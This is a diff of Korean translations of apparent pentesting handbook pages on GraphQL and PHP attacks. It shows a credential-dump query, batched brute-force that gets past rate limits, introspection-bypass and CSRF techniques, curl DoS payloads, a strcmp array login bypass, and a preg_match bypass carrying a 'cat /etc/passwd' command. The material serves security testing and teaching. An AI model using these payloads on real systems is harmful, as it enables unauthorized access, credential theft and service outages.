인터넷 예제에서는 저장된 사용자 이름과 비밀번호를 추출할 수 있습니다: +이 객체들이 검색을 위해 어떤 인수도 필요하지 않다면, 원하는 데이터를 **요청**하는 것만으로도 **모든 정보를 가져올 수 있습니다**. 이 인터넷 예제에서는 저장된 사용자 이름과 비밀번호를 추출할 수 있습니다: ![](<../../images/image (880).png>) @@ -219,13 +219,13 @@ query = { hiddenFlags } **쿼리 문자열 덤프 트릭 (thanks to @BinaryShadow\_)** -문자열 타입으로 검색할 수 있다면, 예를 들어: `query={theusers(description: ""){username,password}}`와 같이 **빈 문자열**을 검색하면 **모든 데이터를 덤프**합니다. (_이 예제는 튜토리얼의 예제와 관련이 없으니, 이 예제에서는 "**theusers**"를 "**description**"이라는 문자열 필드로 검색할 수 있다고 가정하세요_). +문자열 타입으로 검색할 수 있다면, 예를 들어: `query={theusers(description: ""){username,password}}`와 같이 **빈 문자열**을 **검색**하면 **모든 데이터**를 **덤프**합니다. (_이 예제는 튜토리얼의 예제와 관련이 없으므로, 이 예제에서는 "**description**"이라는 문자열 필드를 사용하여 "**theusers**"를 검색할 수 있다고 가정합니다_). ### 검색 이 설정에서, **데이터베이스**는 **사람들**과 **영화**를 포함합니다. **사람들**은 그들의 **이메일**과 **이름**으로 식별되며; **영화**는 그들의 **이름**과 **평점**으로 식별됩니다. **사람들**은 서로 친구가 될 수 있으며, 또한 영화가 있어 데이터베이스 내의 관계를 나타냅니다. -당신은 **이름**으로 사람들을 **검색**하고 그들의 이메일을 얻을 수 있습니다: +이름으로 사람들을 **검색**하고 그들의 이메일을 가져올 수 있습니다: ```javascript { searchPerson(name: "John Doe") { @@ -248,7 +248,7 @@ name } } ``` -`subscribedMovies`의 `name`을 가져오는 방법이 표시되어 있습니다. +`name`을 가져오는 방법은 `subscribedMovies`의 사람을 나타냅니다. 여러 개의 객체를 **동시에 검색할 수 있습니다**. 이 경우, 2개의 영화를 검색합니다: ```javascript @@ -281,17 +281,17 @@ name } } ``` -### Mutations +### 변형 -**변경은 서버 측에서 변경을 수행하는 데 사용됩니다.** +**변형은 서버 측에서 변경을 수행하는 데 사용됩니다.** -**인트로스펙션**에서 **선언된** **변경**을 찾을 수 있습니다. 다음 이미지에서 "_MutationType_"은 "_Mutation_"이라고 하며, "_Mutation_" 객체는 변경의 이름(이 경우 "_addPerson_")을 포함합니다: +**인트로스펙션**에서 **선언된** **변형**을 찾을 수 있습니다. 다음 이미지에서 "_MutationType_"은 "_Mutation_"이라고 하며, "_Mutation_" 객체는 변형의 이름(이 경우 "_addPerson_")을 포함합니다: ![](<../../images/Screenshot from 2021-03-13 18-26-27 (1).png>) -이 설정에서 **데이터베이스**는 **사람**과 **영화**를 포함합니다. **사람**은 **이메일**과 **이름**으로 식별되며, **영화**는 **이름**과 **평점**으로 식별됩니다. **사람**은 서로 친구가 될 수 있으며, 데이터베이스 내의 관계를 나타내는 영화를 가질 수 있습니다. +이 설정에서 **데이터베이스**는 **사람**과 **영화**를 포함합니다. **사람**은 **이메일**과 **이름**으로 식별되며, **영화**는 **이름**과 **평점**으로 식별됩니다. **사람**은 서로 친구가 될 수 있으며, 데이터베이스 내의 관계를 나타내는 영화를 가질 수도 있습니다. -데이터베이스 내에서 **새로운** 영화를 **생성하는** 변경은 다음과 같을 수 있습니다(이 예제에서 변경은 `addMovie`라고 합니다): +데이터베이스 내에서 **새로운** 영화를 **생성하는** 변형은 다음과 같을 수 있습니다(이 예에서 변형은 `addMovie`라고 합니다): ```javascript mutation { addMovie(name: "Jumanji: The Next Level", rating: "6.8/10", releaseYear: 2019) { @@ -304,7 +304,7 @@ rating ``` **쿼리에서 데이터의 값과 유형이 어떻게 표시되는지 주목하세요.** -또한, 데이터베이스는 `addPerson`이라는 **변경** 작업을 지원하며, 이를 통해 기존 **친구** 및 **영화**와의 연관성을 가진 **사람**을 생성할 수 있습니다. 친구와 영화는 새로 생성된 사람과 연결하기 전에 데이터베이스에 미리 존재해야 한다는 점이 중요합니다. +또한, 데이터베이스는 `addPerson`이라는 **변경** 작업을 지원하며, 이를 통해 **사람**을 생성하고 기존 **친구** 및 **영화**와의 연관성을 설정할 수 있습니다. 친구와 영화는 새로 생성된 사람과 연결하기 전에 데이터베이스에 미리 존재해야 한다는 점이 중요합니다. ```javascript mutation { addPerson(name: "James Yoe", email: "jy@example.com", friends: [{name: "John Doe"}, {email: "jd@example.com"}], subscribedMovies: [{name: "Rocky"}, {name: "Interstellar"}, {name: "Harry Potter and the Sorcerer's Stone"}]) { @@ -339,7 +339,7 @@ releaseYear ### Batching brute-force in 1 API request 이 정보는 [https://lab.wallarm.com/graphql-batching-attack/](https://lab.wallarm.com/graphql-batching-attack/)에서 가져왔습니다.\ -GraphQL API를 통해 **다양한 자격 증명을 가진 많은 쿼리를 동시에 전송하여 인증**을 확인합니다. 이는 고전적인 brute force 공격이지만, 이제 GraphQL batching 기능 덕분에 HTTP 요청당 하나 이상의 로그인/비밀번호 쌍을 보낼 수 있습니다. 이 접근 방식은 외부 속도 모니터링 애플리케이션을 속여 모든 것이 잘 되고 있으며 비밀번호를 추측하려는 brute-forcing 봇이 없다고 생각하게 만듭니다. +GraphQL API를 통해 **다양한 자격 증명을 가진 많은 쿼리를 동시에 전송하여 인증**을 확인합니다. 이는 고전적인 brute force 공격이지만, 이제 GraphQL batching 기능 덕분에 HTTP 요청당 하나 이상의 로그인/비밀번호 쌍을 보낼 수 있습니다. 이 접근 방식은 외부 속도 모니터링 애플리케이션을 속여 모든 것이 잘되고 있으며 비밀번호를 추측하려는 brute-forcing 봇이 없다고 생각하게 만듭니다. 아래는 **한 번에 3개의 서로 다른 이메일/비밀번호 쌍**을 가진 애플리케이션 인증 요청의 가장 간단한 시연입니다. 분명히 같은 방식으로 단일 요청에서 수천 개를 보낼 수 있습니다: @@ -353,13 +353,13 @@ GraphQL API를 통해 **다양한 자격 증명을 가진 많은 쿼리를 동 점점 더 많은 **graphql 엔드포인트가 introspection을 비활성화**하고 있습니다. 그러나 예상치 못한 요청이 수신될 때 graphql이 발생시키는 오류는 [**clairvoyance**](https://github.com/nikitastupin/clairvoyance)와 같은 도구가 스키마의 대부분을 재구성하는 데 충분합니다. -게다가, Burp Suite 확장 프로그램 [**GraphQuail**](https://github.com/forcesunseen/graphquail)은 **Burp를 통해 GraphQL API 요청을 관찰하고** **각 새로운 쿼리와 함께** 내부 GraphQL **스키마를 구축**합니다. 또한 GraphiQL 및 Voyager를 위한 스키마를 노출할 수 있습니다. 이 확장 프로그램은 introspection 쿼리를 수신할 때 가짜 응답을 반환합니다. 결과적으로 GraphQuail은 API 내에서 사용할 수 있는 모든 쿼리, 인수 및 필드를 보여줍니다. 더 많은 정보는 [**여기서 확인하세요**](https://blog.forcesunseen.com/graphql-security-testing-without-a-schema). +게다가, Burp Suite 확장 프로그램 [**GraphQuail**](https://github.com/forcesunseen/graphquail)은 **Burp를 통해 GraphQL API 요청을 관찰하고** **각 새로운 쿼리와 함께** 내부 GraphQL **스키마를 구축**합니다. 또한 GraphiQL 및 Voyager를 위한 스키마를 노출할 수 있습니다. 이 확장은 introspection 쿼리를 수신할 때 가짜 응답을 반환합니다. 결과적으로 GraphQuail은 API 내에서 사용할 수 있는 모든 쿼리, 인수 및 필드를 보여줍니다. 더 많은 정보는 [**여기서 확인하세요**](https://blog.forcesunseen.com/graphql-security-testing-without-a-schema). -멋진 **단어 목록**은 [**GraphQL 엔티티를 발견하는 데 사용할 수 있습니다**](https://github.com/Escape-Technologies/graphql-wordlist?). +멋진 **단어 목록**을 통해 [**GraphQL 엔티티를 발견할 수 있습니다**](https://github.com/Escape-Technologies/graphql-wordlist?). ### Bypassing GraphQL introspection defences -API에서 introspection 쿼리에 대한 제한을 우회하기 위해, **`__schema` 키워드 뒤에 특수 문자를 삽입하는** 것이 효과적입니다. 이 방법은 introspection을 차단하려는 정규 표현식 패턴에서 일반적인 개발자의 실수를 이용합니다. GraphQL이 무시하지만 정규 표현식에서는 고려되지 않을 수 있는 **공백, 줄 바꿈 및 쉼표**와 같은 문자를 추가함으로써 제한을 우회할 수 있습니다. 예를 들어, `__schema` 뒤에 줄 바꿈이 있는 introspection 쿼리는 이러한 방어를 우회할 수 있습니다: +API에서 introspection 쿼리에 대한 제한을 우회하기 위해, `__schema` 키워드 뒤에 **특수 문자를 삽입하는** 것이 효과적입니다. 이 방법은 introspection을 차단하려는 정규 표현식 패턴에서 일반적인 개발자의 실수를 이용합니다. GraphQL이 무시하지만 정규 표현식에서는 고려되지 않을 수 있는 **공백, 줄 바꿈 및 쉼표**와 같은 문자를 추가함으로써 제한을 우회할 수 있습니다. 예를 들어, `__schema` 뒤에 줄 바꿈이 있는 introspection 쿼리는 이러한 방어를 우회할 수 있습니다: ```bash # Example with newline to bypass { @@ -397,7 +397,7 @@ ws.send(JSON.stringify(graphqlMsg)) ``` ### **노출된 GraphQL 구조 발견하기** -introspection이 비활성화된 경우, JavaScript 라이브러리에서 미리 로드된 쿼리를 찾기 위해 웹사이트의 소스 코드를 검사하는 것이 유용한 전략입니다. 이러한 쿼리는 개발자 도구의 `Sources` 탭을 사용하여 찾을 수 있으며, API의 스키마에 대한 통찰력을 제공하고 잠재적으로 **노출된 민감한 쿼리**를 드러냅니다. 개발자 도구 내에서 검색하는 명령은 다음과 같습니다: +introspection이 비활성화된 경우, JavaScript 라이브러리에서 미리 로드된 쿼리를 찾기 위해 웹사이트의 소스 코드를 검사하는 것은 유용한 전략입니다. 이러한 쿼리는 개발자 도구의 `Sources` 탭을 사용하여 찾을 수 있으며, API의 스키마에 대한 통찰력을 제공하고 잠재적으로 **노출된 민감한 쿼리**를 드러냅니다. 개발자 도구 내에서 검색하는 명령은 다음과 같습니다: ```javascript Inspect/Sources/"Search all files" file:* mutation @@ -423,17 +423,17 @@ query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A ``` 따라서, 이전과 같은 CSRF 요청이 **사전 비행 요청 없이** 전송되기 때문에, CSRF를 악용하여 GraphQL에서 **변경**을 **수행**할 수 있습니다. -그러나 Chrome의 `samesite` 플래그의 새로운 기본 쿠키 값은 `Lax`라는 점에 유의하십시오. 이는 쿠키가 GET 요청에서만 제3자 웹에서 전송된다는 것을 의미합니다. +그러나 Chrome의 `samesite` 플래그의 새로운 기본 쿠키 값이 `Lax`라는 점에 유의하십시오. 이는 쿠키가 GET 요청에서만 제3자 웹에서 전송된다는 것을 의미합니다. -일반적으로 **쿼리** **요청**을 **GET** **요청**으로 전송하는 것도 가능하며, GET 요청에서 CSRF 토큰이 검증되지 않을 수 있다는 점에 유의하십시오. +**쿼리** **요청**을 **GET** **요청**으로 전송하는 것이 일반적으로 가능하며, GET 요청에서 CSRF 토큰이 검증되지 않을 수 있다는 점에 유의하십시오. -또한, [**XS-Search**](../../pentesting-web/xs-search/index.html) **공격**을 악용하면 사용자의 자격 증명을 이용하여 GraphQL 엔드포인트에서 콘텐츠를 유출할 수 있습니다. +또한, [**XS-Search**](../../pentesting-web/xs-search/index.html) **공격**을 악용하여 사용자의 자격 증명을 이용해 GraphQL 엔드포인트에서 콘텐츠를 유출할 수 있습니다. -자세한 내용은 [**원본 게시물 확인**](https://blog.doyensec.com/2021/05/20/graphql-csrf.html)하십시오. +자세한 내용은 [**여기 원본 게시물 확인**](https://blog.doyensec.com/2021/05/20/graphql-csrf.html)하십시오. ## GraphQL에서의 교차 사이트 WebSocket 하이재킹 -GraphQL을 악용하는 CRSF 취약점과 유사하게, **보호되지 않은 쿠키로 GraphQL 인증을 악용하기 위한 교차 사이트 WebSocket 하이재킹을 수행하고 사용자가 GraphQL에서 예상치 못한 작업을 수행하게 할 수 있습니다.** +GraphQL의 CRSF 취약점을 악용하는 것과 유사하게, **보호되지 않은 쿠키로 GraphQL 인증을 악용하기 위한 교차 사이트 WebSocket 하이재킹을 수행하고 사용자가 GraphQL에서 예상치 못한 작업을 수행하게 할 수 있습니다.** 자세한 내용은 확인하십시오: @@ -443,7 +443,7 @@ GraphQL을 악용하는 CRSF 취약점과 유사하게, **보호되지 않은 ## GraphQL에서의 권한 부여 -엔드포인트에 정의된 많은 GraphQL 기능은 요청자의 인증만 확인하고 권한 부여는 확인하지 않을 수 있습니다. +엔드포인트에 정의된 많은 GraphQL 함수는 요청자의 인증만 확인하고 권한 부여는 확인하지 않을 수 있습니다. 쿼리 입력 변수를 수정하면 민감한 계정 세부 정보가 [유출](https://hackerone.com/reports/792927)될 수 있습니다. @@ -459,17 +459,17 @@ GraphQL을 악용하는 CRSF 취약점과 유사하게, **보호되지 않은 [쿼리 체이닝](https://s1n1st3r.gitbook.io/theb10g/graphql-query-authentication-bypass-vuln)을 통해 약한 인증 시스템을 우회할 수 있습니다. -아래 예제에서 작업은 "forgotPassword"이며, 이는 해당 쿼리만 실행해야 합니다. 그러나 쿼리를 끝에 추가함으로써 이를 우회할 수 있으며, 이 경우 "register"와 시스템이 새로운 사용자로 등록할 수 있도록 하는 사용자 변수를 추가합니다. +아래 예제에서 작업은 "forgotPassword"이며, 이는 해당 쿼리만 실행해야 합니다. 그러나 쿼리를 끝에 추가함으로써 우회할 수 있으며, 이 경우 "register"와 시스템이 새로운 사용자로 등록할 수 있도록 사용자 변수를 추가합니다.
## GraphQL에서 별칭을 사용한 속도 제한 우회 -GraphQL에서 별칭은 API 요청 시 **속성을 명시적으로 이름 지정**할 수 있는 강력한 기능입니다. 이 기능은 **단일 요청 내에서 동일한 유형**의 객체 여러 인스턴스를 검색하는 데 특히 유용합니다. 별칭을 사용하면 GraphQL 객체가 동일한 이름을 가진 여러 속성을 가질 수 없다는 제한을 극복할 수 있습니다. +GraphQL에서 별칭은 API 요청 시 **속성을 명시적으로 이름 지정**할 수 있는 강력한 기능입니다. 이 기능은 **단일 요청 내에서 동일한 유형**의 객체 여러 인스턴스를 검색하는 데 특히 유용합니다. 별칭은 GraphQL 객체가 동일한 이름을 가진 여러 속성을 가질 수 없도록 하는 제한을 극복하는 데 사용될 수 있습니다. GraphQL 별칭에 대한 자세한 이해를 위해 다음 리소스를 추천합니다: [Aliases](https://portswigger.net/web-security/graphql/what-is-graphql#aliases). -별칭의 주요 목적은 많은 API 호출의 필요성을 줄이는 것이지만, 별칭을 사용하여 GraphQL 엔드포인트에 대한 무차별 대입 공격을 실행할 수 있는 의도치 않은 사용 사례가 확인되었습니다. 이는 일부 엔드포인트가 **HTTP 요청 수**를 제한하여 무차별 대입 공격을 저지하기 위해 설계된 속도 제한기로 보호되기 때문입니다. 그러나 이러한 속도 제한기는 각 요청 내의 작업 수를 고려하지 않을 수 있습니다. 별칭을 사용하면 단일 HTTP 요청에 여러 쿼리를 포함할 수 있으므로 이러한 속도 제한 조치를 우회할 수 있습니다. +별칭의 주요 목적은 수많은 API 호출의 필요성을 줄이는 것이지만, 별칭을 사용하여 GraphQL 엔드포인트에 대한 무차별 대입 공격을 실행할 수 있는 의도치 않은 사용 사례가 확인되었습니다. 이는 일부 엔드포인트가 **HTTP 요청 수**를 제한하여 무차별 대입 공격을 저지하기 위해 설계된 속도 제한기로 보호되기 때문입니다. 그러나 이러한 속도 제한기는 각 요청 내의 작업 수를 고려하지 않을 수 있습니다. 별칭을 사용하면 단일 HTTP 요청에 여러 쿼리를 포함할 수 있으므로 이러한 속도 제한 조치를 우회할 수 있습니다. 아래 제공된 예제를 고려해 보십시오. 이 예제는 별칭 쿼리를 사용하여 상점 할인 코드의 유효성을 확인하는 방법을 보여줍니다. 이 방법은 여러 쿼리를 하나의 HTTP 요청으로 컴파일하므로 속도 제한을 우회할 수 있으며, 동시에 여러 할인 코드를 확인할 수 있습니다. ```bash @@ -490,7 +490,7 @@ valid ### Alias Overloading -**Alias Overloading**는 공격자가 동일한 필드에 대해 많은 별칭으로 쿼리를 과부하하여 백엔드 리졸버가 해당 필드를 반복적으로 실행하게 만드는 GraphQL 취약점입니다. 이로 인해 서버 리소스가 과부하되어 **서비스 거부(DoS)**로 이어질 수 있습니다. 예를 들어, 아래 쿼리에서는 동일한 필드(`expensiveField`)가 별칭을 사용하여 1,000번 요청되어 백엔드가 이를 1,000번 계산하게 하여 CPU나 메모리를 소진할 수 있습니다: +**Alias Overloading**는 공격자가 동일한 필드에 대해 많은 별칭으로 쿼리를 과부하하여 백엔드 리졸버가 해당 필드를 반복적으로 실행하게 만드는 GraphQL 취약점입니다. 이로 인해 서버 리소스가 과부하되어 **서비스 거부(DoS)**로 이어질 수 있습니다. 예를 들어, 아래 쿼리에서 동일한 필드(`expensiveField`)가 별칭을 사용하여 1,000번 요청되어 백엔드가 이를 1,000번 계산하게 하여 CPU나 메모리를 소진할 수 있습니다: ```graphql # Test provided by https://github.com/dolevf/graphql-cop curl -X POST -H "Content-Type: application/json" \ @@ -501,7 +501,7 @@ curl -X POST -H "Content-Type: application/json" \ ### **배열 기반 쿼리 배치** -**배열 기반 쿼리 배치**는 GraphQL API가 단일 요청에서 여러 쿼리를 배치할 수 있도록 허용하는 취약점으로, 공격자가 동시에 많은 수의 쿼리를 보낼 수 있게 합니다. 이는 모든 배치된 쿼리를 병렬로 실행하여 백엔드를 압도할 수 있으며, 과도한 리소스(CPU, 메모리, 데이터베이스 연결)를 소모하고 잠재적으로 **서비스 거부(DoS)**로 이어질 수 있습니다. 배치 내 쿼리 수에 대한 제한이 없다면, 공격자는 이를 악용하여 서비스 가용성을 저하시킬 수 있습니다. +**배열 기반 쿼리 배치**는 GraphQL API가 단일 요청에서 여러 쿼리를 배치할 수 있도록 허용하는 취약점으로, 공격자가 동시에 많은 수의 쿼리를 보낼 수 있게 합니다. 이는 모든 배치된 쿼리를 병렬로 실행하여 백엔드를 압도할 수 있으며, 과도한 리소스(CPU, 메모리, 데이터베이스 연결)를 소모하고 잠재적으로 **서비스 거부(DoS)**로 이어질 수 있습니다. 배치 내 쿼리 수에 대한 제한이 없으면, 공격자는 이를 악용하여 서비스 가용성을 저하시킬 수 있습니다. ```graphql # Test provided by https://github.com/dolevf/graphql-cop curl -X POST -H "User-Agent: graphql-cop/1.13" \ @@ -513,7 +513,7 @@ curl -X POST -H "User-Agent: graphql-cop/1.13" \ ### **지시문 과부하 취약점** -**지시문 과부하**는 GraphQL 서버가 과도하고 중복된 지시문을 허용할 때 발생합니다. 이는 서버의 파서와 실행기를 압도할 수 있으며, 특히 서버가 동일한 지시문 로직을 반복적으로 처리할 경우 더욱 그렇습니다. 적절한 검증이나 제한이 없으면, 공격자는 수많은 중복 지시문으로 쿼리를 작성하여 높은 계산 또는 메모리 사용을 유발하여 **서비스 거부(DoS)**를 초래할 수 있습니다. +**지시문 과부하**는 GraphQL 서버가 과도하게 중복된 지시문을 포함한 쿼리를 허용할 때 발생합니다. 이는 서버의 파서와 실행기를 압도할 수 있으며, 특히 서버가 동일한 지시문 로직을 반복적으로 처리할 경우 더욱 그렇습니다. 적절한 검증이나 제한이 없으면, 공격자는 수많은 중복 지시문을 포함한 쿼리를 작성하여 높은 계산 또는 메모리 사용을 유발하여 **서비스 거부(DoS)**를 초래할 수 있습니다. ```bash # Test provided by https://github.com/dolevf/graphql-cop curl -X POST -H "User-Agent: graphql-cop/1.13" \ @@ -535,7 +535,7 @@ curl -X POST \ -d '{"query": "{ __schema { directives { name locations args { name type { name kind ofType { name } } } } } }"}' \ 'https://example.com/graphql' ``` -그리고 **사용자 정의** 항목 중 일부를 사용합니다. +그리고 **사용자 정의 항목 중 일부를 사용합니다.** ### **필드 중복 취약점** @@ -554,11 +554,11 @@ curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/jso - [https://github.com/assetnote/batchql](https://github.com/assetnote/batchql): 배치 GraphQL 쿼리 및 변형 수행에 중점을 둔 GraphQL 보안 감사 스크립트. - [https://github.com/dolevf/graphw00f](https://github.com/dolevf/graphw00f): 사용 중인 graphql 지문 인식 - [https://github.com/gsmith257-cyber/GraphCrawler](https://github.com/gsmith257-cyber/GraphCrawler): 스키마를 가져오고 민감한 데이터 검색, 권한 테스트, 스키마 무차별 대입 및 특정 유형에 대한 경로 찾기에 사용할 수 있는 도구 키트. -- [https://blog.doyensec.com/2020/03/26/graphql-scanner.html](https://blog.doyensec.com/2020/03/26/graphql-scanner.html): 독립형으로 사용하거나 [Burp extension](https://github.com/doyensec/inql)으로 사용할 수 있습니다. -- [https://github.com/swisskyrepo/GraphQLmap](https://github.com/swisskyrepo/GraphQLmap): CLI 클라이언트로도 사용하여 공격을 자동화할 수 있습니다. +- [https://blog.doyensec.com/2020/03/26/graphql-scanner.html](https://blog.doyensec.com/2020/03/26/graphql-scanner.html): 독립형으로 사용하거나 [Burp 확장](https://github.com/doyensec/inql)으로 사용할 수 있습니다. +- [https://github.com/swisskyrepo/GraphQLmap](https://github.com/swisskyrepo/GraphQLmap): CLI 클라이언트로도 사용 가능하며 공격 자동화: `python3 graphqlmap.py -u http://example.com/graphql --inject` - [https://gitlab.com/dee-see/graphql-path-enum](https://gitlab.com/dee-see/graphql-path-enum): **GraphQL 스키마에서 특정 유형에 도달하는 다양한 방법을 나열하는 도구**. -- [https://github.com/doyensec/GQLSpection](https://github.com/doyensec/GQLSpection): Standalone 및 CLI 모드의 후계자 InQL -- [https://github.com/doyensec/inql](https://github.com/doyensec/inql): 고급 GraphQL 테스트를 위한 Burp 확장. _**Scanner**_는 InQL v5.0의 핵심으로, GraphQL 엔드포인트 또는 로컬 introspection 스키마 파일을 분석할 수 있습니다. 모든 가능한 쿼리와 변형을 자동 생성하여 분석을 위한 구조화된 보기로 정리합니다. _**Attacker**_ 구성 요소는 배치 GraphQL 공격을 실행할 수 있게 해주며, 이는 잘못 구현된 속도 제한을 우회하는 데 유용할 수 있습니다. +- [https://github.com/doyensec/GQLSpection](https://github.com/doyensec/GQLSpection): InQL의 독립형 및 CLI 모드의 후계자 +- [https://github.com/doyensec/inql](https://github.com/doyensec/inql): 고급 GraphQL 테스트를 위한 Burp 확장 또는 파이썬 스크립트. _**스캐너**_는 InQL v5.0의 핵심으로, GraphQL 엔드포인트 또는 로컬 introspection 스키마 파일을 분석할 수 있습니다. 모든 가능한 쿼리와 변형을 자동 생성하여 분석을 위한 구조화된 보기로 정리합니다. _**공격자**_ 구성 요소는 배치 GraphQL 공격을 실행할 수 있게 해주며, 이는 잘못 구현된 속도 제한을 우회하는 데 유용할 수 있습니다: `python3 inql.py -t http://example.com/graphql -o output.json` - [https://github.com/nikitastupin/clairvoyance](https://github.com/nikitastupin/clairvoyance): 일부 Graphql 데이터베이스의 도움을 받아 introspection이 비활성화된 상태에서도 스키마를 얻으려고 시도합니다. 이 데이터베이스는 변형 및 매개변수의 이름을 제안합니다. ### 클라이언트 diff --git a/src/network-services-pentesting/pentesting-web/php-tricks-esp/README.md b/src/network-services-pentesting/pentesting-web/php-tricks-esp/README.md index cd9d77c06..b33a0937b 100644 --- a/src/network-services-pentesting/pentesting-web/php-tricks-esp/README.md +++ b/src/network-services-pentesting/pentesting-web/php-tricks-esp/README.md @@ -36,14 +36,14 @@ EN-PHP-loose-comparison-Type-Juggling-OWASP (1).pdf - `"0xAAAA" == "43690" -> True` 10진수 또는 16진수 형식의 숫자로 구성된 문자열은 숫자가 동일할 경우 다른 숫자/문자열과 True로 비교될 수 있습니다 (문자열의 숫자는 숫자로 해석됩니다). - `"0e3264578" == 0 --> True` "0e"로 시작하고 그 뒤에 어떤 것이든 오는 문자열은 0과 같습니다. - `"0X3264578" == 0X --> True` "0"로 시작하고 그 뒤에 어떤 문자(여기서 X는 어떤 문자든 가능)와 그 뒤에 어떤 것이든 오는 문자열은 0과 같습니다. -- `"0e12334" == "0" --> True` 이는 매우 흥미로운데, 어떤 경우에는 "0"의 문자열 입력과 해시된 내용을 제어할 수 있습니다. 따라서 "0e"로 시작하고 어떤 문자도 없는 해시를 생성할 수 있는 값을 제공할 수 있다면, 비교를 우회할 수 있습니다. 이 형식의 **이미 해시된 문자열**은 여기에서 찾을 수 있습니다: [https://github.com/spaze/hashes](https://github.com/spaze/hashes) +- `"0e12334" == "0" --> True` 이는 매우 흥미로운데, 어떤 경우에는 "0"의 문자열 입력과 해시된 내용을 제어할 수 있습니다. 따라서 "0e"로 시작하고 어떤 문자도 없는 값을 제공할 수 있다면 비교를 우회할 수 있습니다. 이 형식의 **이미 해시된 문자열**은 여기에서 찾을 수 있습니다: [https://github.com/spaze/hashes](https://github.com/spaze/hashes) - `"X" == 0 --> True` 문자열의 어떤 문자도 int 0과 같습니다. 자세한 정보는 [https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09](https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09)에서 확인할 수 있습니다. ### **in_array()** -**타입 조작**은 기본적으로 `in_array()` 함수에도 영향을 미칩니다 (엄격한 비교를 하려면 세 번째 인수를 true로 설정해야 합니다): +**타입 조작**은 기본적으로 `in_array()` 함수에도 영향을 미칩니다 (엄격한 비교를 위해 세 번째 인수를 true로 설정해야 합니다): ```php $values = array("apple","orange","pear","grape"); var_dump(in_array(0, $values)); @@ -53,7 +53,7 @@ var_dump(in_array(0, $values, true)); ``` ### strcmp()/strcasecmp() -이 함수가 **모든 인증 확인**(예: 비밀번호 확인)에 사용되고 사용자가 비교의 한 쪽을 제어할 경우, 그는 비밀번호의 값으로 문자열 대신 빈 배열을 보낼 수 있습니다 (`https://example.com/login.php/?username=admin&password[]=`) 그리고 이 확인을 우회할 수 있습니다: +이 함수가 **모든 인증 확인**(예: 비밀번호 확인)에 사용되면, 사용자가 비교의 한 쪽을 제어할 수 있으므로 비밀번호의 값으로 문자열 대신 빈 배열을 보낼 수 있습니다 (`https://example.com/login.php/?username=admin&password[]=`) 그리고 이 확인을 우회할 수 있습니다: ```php if (!strcmp("real_pwd","real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; } // Real Password @@ -64,7 +64,7 @@ if (!strcmp(array(),"real_pwd")) { echo "Real Password"; } else { echo "No Real ### 엄격한 타입 조작 -`===`가 **사용되고** 있더라도 **비교가 취약해지는** 오류가 발생할 수 있습니다. 예를 들어, 비교가 **비교하기 전에 데이터를 다른 타입의 객체로 변환하는 경우**: +`===`가 **사용되고** 있더라도 **비교가 취약한** **타입 조작**으로 인해 오류가 발생할 수 있습니다. 예를 들어, 비교가 **비교하기 전에 데이터를 다른 타입의 객체로 변환하는 경우**: ```php (int) "1abc" === (int) "1xyz" //This will be true ``` @@ -74,7 +74,7 @@ if (!strcmp(array(),"real_pwd")) { echo "Real Password"; } else { echo "No Real #### New line bypass -그러나, 정규 표현식의 시작을 구분할 때 `preg_match()`는 **사용자 입력의 첫 번째 줄만 확인**합니다. 따라서 만약 어떤 방법으로 **여러 줄**로 입력을 **전송**할 수 있다면, 이 검사를 우회할 수 있습니다. 예: +그러나, 정규 표현식의 시작을 구분할 때 `preg_match()`는 **사용자 입력의 첫 번째 줄만 확인**합니다. 따라서 만약 어떤 방법으로 **여러 줄**에 걸쳐 입력을 **전송**할 수 있다면, 이 검사를 우회할 수 있습니다. 예: ```php $myinput="aaaaaaa 11111111"; //Notice the new line @@ -93,7 +93,7 @@ echo preg_match("/^.*1.*$/",$myinput); "cmd": "cat /etc/passwd" } ``` -여기에서 예제를 찾으세요: [https://ramadistra.dev/fbctf-2019-rceservice](https://ramadistra.dev/fbctf-2019-rceservice) +Find an example here: [https://ramadistra.dev/fbctf-2019-rceservice](https://ramadistra.dev/fbctf-2019-rceservice) #### **길이 오류 우회** @@ -113,7 +113,7 @@ Trick from: [https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf- 간단히 말해, 문제는 PHP의 `preg_*` 함수가 [PCRE 라이브러리](http://www.pcre.org/)를 기반으로 하기 때문에 발생합니다. PCRE에서는 특정 정규 표현식이 많은 재귀 호출을 사용하여 일치되며, 이는 많은 스택 공간을 사용합니다. 허용되는 재귀 호출의 수에 제한을 설정할 수 있지만, PHP에서는 이 제한이 [기본적으로 100,000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit)으로 설정되어 있어 스택에 맞지 않습니다. [이 Stackoverflow 스레드](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error)도 이 문제에 대해 더 깊이 논의된 게시물에 링크되어 있었습니다. 우리의 작업은 이제 명확했습니다:\ -**정규 표현식이 100_000회 이상의 재귀를 수행하게 만드는 입력을 전송하여 SIGSEGV를 유발하고, `preg_match()` 함수가 `false`를 반환하게 하여 애플리케이션이 우리의 입력이 악의적이지 않다고 생각하게 만들고, 페이로드의 끝에 `{system()}`와 같은 놀라움을 던져 SSTI --> RCE --> flag :)**. +**정규 표현식이 100_000회 이상의 재귀를 수행하게 만드는 입력을 보내어 SIGSEGV를 유발하고, `preg_match()` 함수가 `false`를 반환하게 하여 애플리케이션이 우리의 입력이 악의적이지 않다고 생각하게 만든 후, 페이로드의 끝에 `{system()}`와 같은 놀라움을 던져 SSTI --> RCE --> flag :)**. 정규 표현식 용어로, 우리는 실제로 100k "재귀"를 수행하는 것이 아니라 "백트래킹 단계"를 세고 있으며, [PHP 문서](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit)에 따르면 `pcre.backtrack_limit` 변수의 기본값은 1_000_000 (1M)입니다.\ 이를 달성하기 위해 `'X'*500_001`은 100만 개의 백트래킹 단계를 생성합니다 (500k 전방 및 500k 후방): @@ -133,7 +133,7 @@ $obfs += ""; //int 7 ``` ## Execute After Redirect (EAR) -PHP가 다른 페이지로 리디렉션하고 있지만 **`die`** 또는 **`exit`** 함수가 **헤더 `Location`**이 설정된 후 호출되지 않으면, PHP는 계속 실행되어 데이터를 본문에 추가합니다: +PHP가 다른 페이지로 리디렉션하고 있지만 **`die`** 또는 **`exit`** 함수가 **헤더 `Location`**이 설정된 후에 